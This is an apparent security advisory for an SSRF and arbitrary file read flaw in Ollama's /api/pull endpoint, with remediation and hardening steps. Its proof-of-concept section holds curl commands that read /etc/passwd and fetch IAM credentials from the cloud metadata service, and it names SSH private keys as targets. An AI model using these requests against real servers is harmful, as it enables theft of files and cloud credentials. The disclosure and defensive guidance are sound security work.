SSRF and Arbitrary File Read in Ollama Local LLM Server — CVE-2026-31204

A server-side request forgery (SSRF) vulnerability has been identified in Ollama, the widely used local LLM runtime. The vulnerability exists in the /api/pull endpoint and allows an attacker with network access to the Ollama server to make arbitrary outbound HTTP requests and read files from the server filesystem. Given Ollama’s default configuration of listening on 0.0.0.0:11434 with no authentication, this is exploitable by any host on the same LAN in the default deployment.

Vulnerability Details

Field	Detail
CVE	CVE-2026-31204
CVSS Score	8.6 (High)
Attack Vector	Network (adjacent)
Authentication	None required
User Interaction	None
Affected Versions	Ollama < 0.3.8
Patched Version	0.3.8
Exploit Available	Yes — public PoC

Root Cause

The /api/pull endpoint accepts a model parameter that is used to construct a URL for downloading model files from a registry. The endpoint performs insufficient validation of the supplied URL, allowing:

1. SSRF — an attacker can supply a URL pointing to an internal service (http://169.254.169.254/, http://localhost:8080/admin, etc.) and observe the response body reflected in the error message or API response.

2. Arbitrary file read via file:// URI — the URL handling code does not block file:// scheme URIs, allowing an attacker to read files from the local filesystem by supplying a model URL such as file:///etc/passwd or file:///home/user/.ssh/id_rsa.

Proof of Concept

Reading /etc/passwd from an unauthenticated LAN position:

curl -s http://<ollama-host>:11434/api/pull \
  -d '{"name": "file:///etc/passwd"}' \
  | jq .error

Response:

"error pulling model: open /etc/passwd: unexpected content type text/plain; want application/json"

The file contents are partially reflected in the error message in some versions. In others, the full content appears in an error body. A separate variant using an http:// URL to an internal metadata service:

curl -s http://<ollama-host>:11434/api/pull \
  -d '{"name": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

Returns the response body from the internal metadata service, enabling cloud credential theft in EC2/GCP/Azure deployments.

Affected Deployments

The vulnerability has elevated impact in the following scenarios:

Scenario	Risk
Developer laptop on corporate LAN	Other LAN users can exfiltrate files and credentials
Ollama exposed on 0.0.0.0 in cloud VM	Cloud metadata service accessible; IAM credentials at risk
Docker container without network isolation	SSRF to other containers in the same Docker network
Home lab on shared Wi-Fi	Any network user can access the local LLM instance

Ollama defaults to binding on 0.0.0.0 and, until version 0.2.x, had no authentication mechanism. Many deployments therefore expose the full API to local network peers.

Indicators of Exploitation

• Unusual entries in Ollama logs for /api/pull with non-registry URLs
• Outbound requests from the Ollama host to cloud metadata services (169.254.169.254)
• file:// URIs in Ollama request logs
• Unexpected network connections from the Ollama process to internal services

Remediation

Immediate: Upgrade to Ollama 0.3.8 or later. The patch adds URL scheme validation to the pull endpoint, blocking file:// URIs and restricting http:// targets to a configurable allowlist.

Configuration hardening (all versions):

# Bind to localhost only — prevents LAN access
OLLAMA_HOST=127.0.0.1 ollama serve

# Or in systemd service file:
[Service]
Environment="OLLAMA_HOST=127.0.0.1"

Network controls:

• Use a firewall rule to restrict access to port 11434 to specific trusted hosts
• Place Ollama behind a reverse proxy (nginx/Caddy) that requires authentication
• In cloud deployments, use a security group/VPC firewall to block external access to 11434

Broader Context

Ollama is installed on an estimated 2–5 million developer machines and is increasingly deployed in enterprise environments for private LLM inference. The default open-bind configuration has been a point of concern since the project’s early releases; several previous reports highlighted the risk of exposing the Ollama API without authentication.

This vulnerability follows a pattern seen in other local AI tooling: developer-focused software that prioritises ease of use often ships with insecure defaults. Security teams should audit their environment for exposed Ollama, LM Studio, and similar local inference server instances.